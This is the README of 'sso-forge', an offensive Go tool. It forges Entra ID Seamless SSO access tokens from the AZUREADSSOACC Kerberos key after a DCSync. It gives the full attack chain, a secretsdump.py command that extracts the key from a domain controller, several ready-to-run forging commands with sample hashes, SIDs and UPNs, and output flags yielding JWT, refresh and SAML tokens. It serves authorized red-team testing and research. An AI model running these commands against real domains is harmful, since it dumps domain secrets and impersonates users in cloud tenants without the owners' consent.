sso-forge

Forge Entra ID Seamless SSO access tokens from the AZUREADSSOACC Kerberos key.
Cross-platform (Linux/macOS/Windows) Go port of AADInternals.
For authorized security testing and research only. This is a
post-exploitation tool: it requires a key already extracted via DCSync,
meaning the operator must have Domain Admin or equivalent privileges
before running it. Do not use against systems or accounts without
explicit, documented permission from their owner.
How it works
DCSync → AZUREADSSOACC key → forged Kerberos ticket → WS-Trust → SAML → OAuth2 → Entra ID access token
- Extract the AZUREADSSOACC computer account's RC4/AES256 key via DCSync (secretsdump.py)
- Forge a Kerberos service ticket for
HTTP/autologon.microsoftazuread-sso.com
- Exchange via WS-Trust for a DesktopSsoToken (SAML assertion)
- Exchange the SAML assertion for an OAuth2 access token
Usage
# Extract key via Impacket
secretsdump.py DOMAIN/Administrator@DC -just-dc-user 'AZUREADSSOACC$'
# Forge token (RC4)
./sso-forge \
--hash 61bb7f03790448210063f5fe4cf1ca50 \
--sid S-1-5-21-2653903403-2779602846-1005841238-1110 \
--domain corp.contoso.com \
--realm CORP.CONTOSO.COM \
--upn user@corp.contoso.com \
--output token
# AES256 key (auto-detected from key length)
./sso-forge \
--hash <64-char AES256 hex key> \
--sid S-1-5-21-... \
--domain corp.contoso.com \
--realm CORP.CONTOSO.COM \
--upn user@corp.contoso.com
# secretsdump output format (auto-parsed)
./sso-forge \
--hash 'DOMAIN\AZUREADSSOACC$:aad_...:<NT_HASH>:<NT_HASH>:::' \
--sid S-1-5-21-... \
--domain corp.contoso.com \
--realm CORP.CONTOSO.COM
| Flag |
Output |
--output token |
Raw JWT access token (default) |
--output json |
JSON with access_token, refresh_token, claims metadata |
--output saml |
SAML 1.1 assertion XML |
--output ssotoken |
DesktopSsoToken (raw WS-Trust response) |
Flags
| Flag |
Description |
--hash |
AZUREADSSOACC key (hex 32-char RC4, 64-char AES256, or secretsdump line) |
--sid |
Target user SID (e.g., S-1-5-21-X-Y-Z-RID) |
--domain |
Public UPN domain suffix (e.g., contoso.com) |
--realm |
On-prem AD FQDN in uppercase (e.g., CORP.CONTOSO.COM) |
--upn |
Target user UPN |
--ticket |
Pre-generated base64 SPNEGO ticket (skips forge) |
--resource |
Target resource URL (default: https://graph.windows.net) |
--tenant-id |
Entra ID tenant ID (auto-discovered if empty) |
--dry-run |
Forge ticket only, skip cloud exchange |
-v |
Verbose output |
Build
go build -ldflags="-s -w" -o sso-forge .
make build # stripped binary
make release # cross-platform + checksums
Security
Verify a release:
cosign verify-blob sso-forge-linux-amd64 \
--bundle sso-forge-linux-amd64.bundle \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
--certificate-identity "https://github.com/JVBotelho/sso-forge/.github/workflows/release.yml@refs/tags/<TAG>"
Requirements
- AZUREADSSOACC key (RC4 or AES256) — extracted via DCSync (secretsdump.py, Mimikatz, etc.)
- Target user SID and UPN
- Domain must have Seamless SSO enabled (Azure AD Connect synced)
Architecture
sso-forge/
├── main.go # CLI entry point
├── pac/ # PAC construction (KERB_VALIDATION_INFO, checksums)
├── ticket/ # EncTicketPart + Authenticator DER assembly, encryption
├── exchange/ # WS-Trust → SAML → OAuth2 pipeline
├── parse/ # supplementalCredentials blob + hash input parsing
├── discovery/ # Tenant ID auto-discovery via OpenID config
├── docs/ # Documentation
│ └── dev/ # Development notes (gitignored)
├── go.mod
├── Makefile
└── README.md
All packages are public and importable:
import (
"github.com/JVBotelho/sso-forge/pac"
"github.com/JVBotelho/sso-forge/ticket"
"github.com/JVBotelho/sso-forge/exchange"
"github.com/JVBotelho/sso-forge/parse"
"github.com/JVBotelho/sso-forge/discovery"
)
References